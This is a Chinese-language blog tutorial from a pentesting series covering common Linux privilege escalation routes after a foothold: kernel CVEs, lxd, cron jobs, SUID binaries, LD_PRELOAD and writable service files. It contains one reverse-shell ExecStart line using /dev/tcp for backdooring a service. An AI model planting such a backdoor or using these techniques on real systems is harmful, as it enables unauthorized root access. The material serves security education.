快要结束了,今明两天会讲点拿下Server Initial Access(foothold)之後的权限提升。
在渗透测试期间,若是成功拿到Initial Access通常是漏洞发生的Service的权限,例如假设在网站上拿到RCE并成功弹回Reverse Shell,常常会是www-data
或是使用Apache Service的apache
帐户,这种权限通常非常低,甚至也不会有正常的tty可以使用(可参考Day24 Bind Shell/Reverse Shell),之前也提过一些方法可以升级tty。在这种情况下,通常会寻求额外的访问权限,不管是垂直提权或横向(水平)提权,通常在渗透测试中,最终目标都是拿到整个机器的管理权限,也就是root或Administrator,确保可以最大程度影响/操纵整台Server,这也就是Privilege Escalation,权限提升。而今天的主题将会讲述常见的Linux提权方法。
垂直提权: 攻击者能获得比现有帐户更高的访问权限,例如www-data
到普通帐户craig
到管理员权限的root
。每个权限提升都会拿到比原本更多的执行权限,很多在www-data
无法执行的操作,会在craig
中得到,例如拥有完整的home目录、或是craig
本身是开发者的话,也可能浏览到此人负责开发的project,取得原始码。再到root
时,更是可以随意的更改帐户权限,擦除一些入侵痕迹(log)、窃取该机器上的所有帐户创建的内容或是植入後门等等。
水平提权/横向移动: 攻击者能够获得与现有帐户相同的访问权限,但可以访问其他原本无访问权限的帐户内容,例如Craig
到Angel
,各是Server上拥有相同管理权限,却各有不同内容的帐户,攻击者可以透过访问不同用户取得不同用户可以使用的"功能"和资料。
提权主要有几种方法:
例如CVE-2016-5195的DirtyCow或是sudo(CVE-2021-3156)
例如CVE-2020-12464,USB Driver(严格意义上也属於Linux Kernel)
可以透过dpkg
,rpm
查看已安装的软件包,例如旧版本的Nagios。
或是像lxd,如果你的user有在lxd的group中,可以透过lxd init
开启LXD的程序,透过一些设定和操作,就可以拿来提权,过程十分简单。
可以查看是否有service运行比原本预设更高的权限,例如在local中运行的service或是以root运行的某个网站功能。
查看是否有其他帐户运行的cron job。一个曾遇过的状况是一个以root运行的script,但用户可以修改此script。
若是有限有帐户可以修改或新增的.service权限,就可以在服务启动、重启时执行後门,例如写入
ExecStart=/bin/bash -c 'bash' -i >& /dev/tcp/craig/1234 0>&1'
种类实在太多,这边简单列出几个
SUID
gdb
openssl
vim
node
docker
find
更多可以参考GTFOBins
例如LD_PRELOAD
也可以查看再$PATH中的某个目录下是否可以写入档案,可以通过在一个可写的目录中写入一个後门或含有执行Shell或Reverse Shell的档案。
除了上述提到的这些,还有像是Sudo Tokens重用、Backup档案、NFS PrivEsc、rbash escape、logstash、Docker Breakout等等,族繁不及备载。
当然也有人将这些常见漏洞,写成script,方便提权时使用,知名如
建议如果在渗透测试需要进行提权时,交叉使用不一样的script,搭配手动测试可以得到最好的效果,也比较不容易遗漏。
<<: Day28 - this&Object Prototypes Ch3 Objects - Review
>>: Day28:Update the Data and the Featured View
CSS语法样式 CSS的全名是Cascading Style Sheets,阶层样式表指的是可以在同...
跨境电商将listing合并或者拆分可以有效分销差评,还可以帮助你增加商品的流量转化,那么下面就给大...
今年年初回顾2020年时的日记里写着,去年学到最多的两件事:一个是趁着肺炎,工作後第一次回家长住,一...
// 移动到档案路径 cd "档案路径" // 确认git版本并有无正确安装 g...
gulp-imagemin https://www.npmjs.com/package/gulp-i...